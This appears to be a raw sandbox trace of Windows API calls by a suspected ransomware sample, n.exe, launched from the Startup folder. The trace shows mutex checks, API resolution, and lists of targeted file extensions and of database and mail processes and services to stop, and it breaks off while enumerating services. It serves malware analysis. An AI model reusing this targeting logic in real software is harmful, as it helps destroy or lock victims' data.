QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=11063762077) returned 1 [0146.614] GetTickCount () returned 0x1139cad [0146.614] GetCurrentProcessId () returned 0x6b0 [0146.614] GetTickCount () returned 0x1139cad [0146.614] GetTickCount () returned 0x1139cad [0146.614] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x20) returned 0x6143e0 [0146.614] GetVersion () returned 0x1db10106 [0146.615] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x7) returned 0x6039a0 [0146.615] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x10) returned 0x610ec0 [0146.615] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x610ec0, Size=0x20) returned 0x614430 [0146.615] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x614430, Size=0x40) returned 0x6149a0 [0146.615] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0xfffe) returned 0x614c50 [0146.615] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_261OR3A") returned 0x84 [0146.615] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x6039a0 | out: hHeap=0x600000) returned 1 [0146.615] lstrlenW (lpString="Global\\syncronize_") returned 18 [0146.615] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x6149a0 | out: hHeap=0x600000) returned 1 [0146.615] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x7) returned 0x6039a0 [0146.615] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x10) returned 0x610ec0 [0146.615] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x610ec0, Size=0x20) returned 0x614430 [0146.615] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x614430, Size=0x40) returned 0x6149a0 [0146.615] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0xfffe) returned 0x624c58 [0146.615] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_261OR3U") returned 0x88 [0146.615] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x6039a0 | out: hHeap=0x600000) returned 1 [0146.616] lstrlenW (lpString="Global\\syncronize_") returned 18 [0146.616] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x6149a0 | out: hHeap=0x600000) returned 1 [0146.616] GetVersion () returned 0x1db10106 [0146.616] GetCurrentProcess () returned 0xffffffff [0146.616] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0146.616] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0146.616] CloseHandle (hObject=0x8c) returned 1 [0146.616] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0146.616] ExitProcess (uExitCode=0x0) Process: id = "31" image_name = "n.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe" page_root = "0x6c641000" os_pid = "0x6dc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x4f8" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 327 os_tid = 0x61c [0146.274] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x762e0000 [0146.327] GetProcAddress (hModule=0x762e0000, lpProcName="GetProcAddress") returned 0x762f1222 [0146.327] GetProcAddress (hModule=0x762e0000, lpProcName="GetModuleHandleW") returned 0x762f34b0 [0146.327] GetProcAddress (hModule=0x762e0000, lpProcName="FindNextFileW") returned 0x762f54ee [0146.327] GetProcAddress (hModule=0x762e0000, lpProcName="FindClose") returned 0x762f4442 [0146.327] GetProcAddress (hModule=0x762e0000, lpProcName="MoveFileW") returned 0x76309af0 [0146.327] GetProcAddress (hModule=0x762e0000, lpProcName="GetFileSizeEx") returned 0x762f59e2 [0146.327] GetProcAddress (hModule=0x762e0000, lpProcName="GetModuleFileNameW") returned 0x762f4950 [0146.327] GetProcAddress (hModule=0x762e0000, lpProcName="GetFileAttributesW") returned 0x762f1b18 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="ExitProcess") returned 0x762f7a10 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="GetCommandLineW") returned 0x762f5223 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="GetComputerNameW") returned 0x762fdd0e [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="GetComputerNameA") returned 0x7630b6e0 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="CreateMutexW") returned 0x762f424c [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="lstrlenW") returned 0x762f1700 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="lstrlenA") returned 0x762f5a4b [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="GetCurrentProcess") returned 0x762f1809 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="WaitForSingleObject") returned 0x762f1136 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="GetLogicalDrives") returned 0x762f5371 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="GetTickCount") returned 0x762f110c [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="DeleteFileW") returned 0x762f89b3 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="WideCharToMultiByte") returned 0x762f170d [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x762f1916 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="Sleep") returned 0x762f10ff [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="LeaveCriticalSection") returned 0x77bb2270 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="ReadFile") returned 0x762f3ed3 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="CreateFileW") returned 0x762f3f5c [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="OpenMutexW") returned 0x762f5151 [0146.328] GetProcAddress (hModule=0x762e0000, lpProcName="EnterCriticalSection") returned 0x77bb22b0 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="WaitForMultipleObjects") returned 0x762f4220 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="lstrcmpiW") returned 0x7630d5cd [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="lstrcmpiA") returned 0x762f3e8e [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="DeleteCriticalSection") returned 0x77bc45f5 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="ReleaseMutex") returned 0x762f111e [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="CloseHandle") returned 0x762f1410 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="GetVersion") returned 0x762f4467 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="CreateThread") returned 0x762f34d5 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="ExpandEnvironmentStringsW") returned 0x762f4173 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="QueryPerformanceCounter") returned 0x762f1725 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="QueryPerformanceFrequency") returned 0x762f41f0 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="GetCurrentProcessId") returned 0x762f11f8 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="SetFileAttributesW") returned 0x7630d4f7 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="GetVolumeInformationW") returned 0x7630c860 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="WriteFile") returned 0x762f1282 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="SetFilePointerEx") returned 0x7630c807 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="SetEndOfFile") returned 0x7630ce2e [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="FindFirstFileW") returned 0x762f4435 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="GetProcessHeap") returned 0x762f14e9 [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="HeapReAlloc") returned 0x77bd1f6e [0146.329] GetProcAddress (hModule=0x762e0000, lpProcName="HeapAlloc") returned 0x77bbe026 [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="HeapFree") returned 0x762f14c9 [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="CreatePipe") returned 0x7637415b [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="SetHandleInformation") returned 0x7630195c [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="CreateProcessW") returned 0x762f103d [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="CompareStringW") returned 0x762f3bca [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="CompareStringA") returned 0x762f3c5a [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="OpenProcess") returned 0x762f1986 [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="TerminateProcess") returned 0x7630d802 [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="GetSystemTime") returned 0x762f5a96 [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="SystemTimeToFileTime") returned 0x762f5a7e [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="GetLastError") returned 0x762f11c0 [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7631735f [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="Process32NextW") returned 0x7631896c [0146.330] GetProcAddress (hModule=0x762e0000, lpProcName="Process32FirstW") returned 0x76318baf [0146.330] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0146.391] GetProcAddress (hModule=0x76630000, lpProcName="RegOpenKeyExW") returned 0x7664468d [0146.391] GetProcAddress (hModule=0x76630000, lpProcName="RegQueryValueExW") returned 0x766446ad [0146.391] GetProcAddress (hModule=0x76630000, lpProcName="RegSetValueExW") returned 0x766414d6 [0146.391] GetProcAddress (hModule=0x76630000, lpProcName="RegCloseKey") returned 0x7664469d [0146.392] GetProcAddress (hModule=0x76630000, lpProcName="OpenProcessToken") returned 0x76644304 [0146.392] GetProcAddress (hModule=0x76630000, lpProcName="GetTokenInformation") returned 0x7664431c [0146.392] GetProcAddress (hModule=0x76630000, lpProcName="OpenSCManagerW") returned 0x7663ca64 [0146.392] GetProcAddress (hModule=0x76630000, lpProcName="OpenServiceW") returned 0x7663ca4c [0146.392] GetProcAddress (hModule=0x76630000, lpProcName="CloseServiceHandle") returned 0x7664369c [0146.392] GetProcAddress (hModule=0x76630000, lpProcName="ControlService") returned 0x76657144 [0146.392] GetProcAddress (hModule=0x76630000, lpProcName="QueryServiceStatus") returned 0x76642a86 [0146.392] GetProcAddress (hModule=0x76630000, lpProcName="EnumDependentServicesW") returned 0x76631e3a [0146.392] GetProcAddress (hModule=0x76630000, lpProcName="EnumServicesStatusExW") returned 0x7663b466 [0146.392] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d50000 [0146.508] GetProcAddress (hModule=0x75d50000, lpProcName="SystemParametersInfoW") returned 0x75d690d3 [0146.508] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76810000 [0146.591] GetProcAddress (hModule=0x76810000, lpProcName="ShellExecuteExW") returned 0x76831e46 [0146.591] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77b90000 [0146.591] GetProcAddress (hModule=0x77b90000, lpProcName="NtQuerySystemInformation") returned 0x77bafda0 [0146.591] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x755f0000 [0146.596] GetProcAddress (hModule=0x755f0000, lpProcName="WNetCloseEnum") returned 0x755f2dd6 [0146.596] GetProcAddress (hModule=0x755f0000, lpProcName="WNetOpenEnumW") returned 0x755f2f06 [0146.596] GetProcAddress (hModule=0x755f0000, lpProcName="WNetEnumResourceW") returned 0x755f3058 [0146.596] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x763f0000 [0146.598] GetProcAddress (hModule=0x763f0000, lpProcName="WSAStartup") returned 0x763f3ab2 [0146.599] GetProcAddress (hModule=0x763f0000, lpProcName="socket") returned 0x763f3eb8 [0146.599] GetProcAddress (hModule=0x763f0000, lpProcName="send") returned 0x763f6f01 [0146.599] GetProcAddress (hModule=0x763f0000, lpProcName="recv") returned 0x763f6b0e [0146.599] GetProcAddress (hModule=0x763f0000, lpProcName="connect") returned 0x763f6bdd [0146.599] GetProcAddress (hModule=0x763f0000, lpProcName="closesocket") returned 0x763f3918 [0146.599] GetProcAddress (hModule=0x763f0000, lpProcName="gethostbyname") returned 0x76407673 [0146.599] GetProcAddress (hModule=0x763f0000, lpProcName="inet_addr") returned 0x763f311b [0146.599] GetProcAddress (hModule=0x763f0000, lpProcName="ntohl") returned 0x763f2d57 [0146.599] GetProcAddress (hModule=0x763f0000, lpProcName="htonl") returned 0x763f2d57 [0146.599] GetProcAddress (hModule=0x763f0000, lpProcName="htons") returned 0x763f2d8b [0146.599] GetProcessHeap () returned 0x630000 [0146.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x20) returned 0x644260 [0146.599] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=11062317405) returned 1 [0146.599] GetTickCount () returned 0x1139c9e [0146.599] GetCurrentProcessId () returned 0x6dc [0146.600] GetTickCount () returned 0x1139c9e [0146.600] GetTickCount () returned 0x1139c9e [0146.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x20) returned 0x644288 [0146.600] GetVersion () returned 0x1db10106 [0146.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7) returned 0x633848 [0146.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x640d68 [0146.600] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x640d68, Size=0x20) returned 0x6442d8 [0146.600] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6442d8, Size=0x40) returned 0x644848 [0146.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x644ac0 [0146.600] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_261OR3A") returned 0x0 [0146.601] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_261OR3A") returned 0x84 [0146.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x633848 | out: hHeap=0x630000) returned 1 [0146.601] lstrlenW (lpString="Global\\syncronize_") returned 18 [0146.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x644848 | out: hHeap=0x630000) returned 1 [0146.601] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7) returned 0x633848 [0146.601] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x640d68 [0146.601] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x640d68, Size=0x20) returned 0x6442d8 [0146.601] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6442d8, Size=0x40) returned 0x644848 [0146.601] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x654ac8 [0146.601] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_261OR3U") returned 0x0 [0146.601] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_261OR3U") returned 0x88 [0146.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x633848 | out: hHeap=0x630000) returned 1 [0146.601] lstrlenW (lpString="Global\\syncronize_") returned 18 [0146.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x644848 | out: hHeap=0x630000) returned 1 [0146.601] GetVersion () returned 0x1db10106 [0146.601] GetCurrentProcess () returned 0xffffffff [0146.601] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0146.601] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0146.601] CloseHandle (hObject=0x8c) returned 1 [0146.601] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0146.601] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x633848 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x640d68 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x640d68, Size=0x20) returned 0x6442d8 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6442d8, Size=0x40) returned 0x644848 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644848, Size=0x80) returned 0x644848 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644848, Size=0x100) returned 0x644848 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x34) returned 0x644950 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x640958 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x640968 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x640978 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x640d68 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x644990 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x640d80 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644990, Size=0x8) returned 0x644990 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x640d98 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644990, Size=0x10) returned 0x644990 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x640db0 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x640dc8 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644990, Size=0x20) returned 0x644990 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x640de0 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x640df8 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x640958, Size=0x8) returned 0x640958 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x640968, Size=0x8) returned 0x640968 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6449b8 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x640e10 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6449c8 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x640e28 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6449c8, Size=0x8) returned 0x6449c8 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664ae8 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6449c8, Size=0x10) returned 0x6449c8 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664b00 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6449e0 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6449c8, Size=0x20) returned 0x6449f0 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x640958, Size=0x10) returned 0x6449c8 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x640968, Size=0x10) returned 0x644a18 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x640958 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664b18 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x640968 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664b30 [0146.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x640968, Size=0x8) returned 0x640968 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x644a30 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664b48 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x644a40 [0146.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664b60 [0146.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644a40, Size=0x8) returned 0x644a40 [0146.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6449c8, Size=0x20) returned 0x644a50 [0146.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644a18, Size=0x20) returned 0x664ed0 [0146.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x644a18 [0146.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664b78 [0146.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6449c8 [0146.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664b90 [0146.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6449c8, Size=0x8) returned 0x6449c8 [0146.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x664ef8 [0146.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x664f18 [0146.603] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0146.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x644848 | out: hHeap=0x630000) returned 1 [0146.603] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0146.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664ba8 [0146.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664ba8, Size=0x20) returned 0x6444e0 [0146.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6444e0, Size=0x40) returned 0x6448a0 [0146.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448a0, Size=0x80) returned 0x6448a0 [0146.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448a0, Size=0x100) returned 0x6651f0 [0146.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664ba8 [0146.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664ba8, Size=0x20) returned 0x6444e0 [0146.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6444e0, Size=0x40) returned 0x6448a0 [0146.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448a0, Size=0x80) returned 0x6448a0 [0146.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448a0, Size=0x100) returned 0x6652f8 [0146.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664ba8 [0146.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6448a0 [0146.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448a0, Size=0x8) returned 0x6448a0 [0146.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6448b0 [0146.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448a0, Size=0x10) returned 0x6448d0 [0146.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6448e8 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x6444e0 [0146.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448d0, Size=0x20) returned 0x644908 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c) returned 0x644508 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x644930 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x644530 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664bd8 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6448a0 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x40) returned 0x665400 [0146.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448a0, Size=0x8) returned 0x6448a0 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3c) returned 0x665448 [0146.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448a0, Size=0x10) returned 0x6448d0 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x665490 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6654b0 [0146.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448d0, Size=0x20) returned 0x6654d0 [0146.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x24) returned 0x6654f8 [0146.670] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0146.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6651f0 | out: hHeap=0x630000) returned 1 [0146.670] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0146.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6652f8 | out: hHeap=0x630000) returned 1 [0146.670] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x665a78 [0146.673] EnumServicesStatusExW (in: hSCManager=0x665a78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0146.673] GetLastError () returned 0xea [0146.673] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1178) returned 0x669378 [0146.673] EnumServicesStatusExW (in: hSCManager=0x665a78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x669378, cbBufSize=0x1178, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x669378, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0146.674] CloseServiceHandle (hSCObject=0x665a78) returned 1 [0146.708] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0146.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0146.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0146.708] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 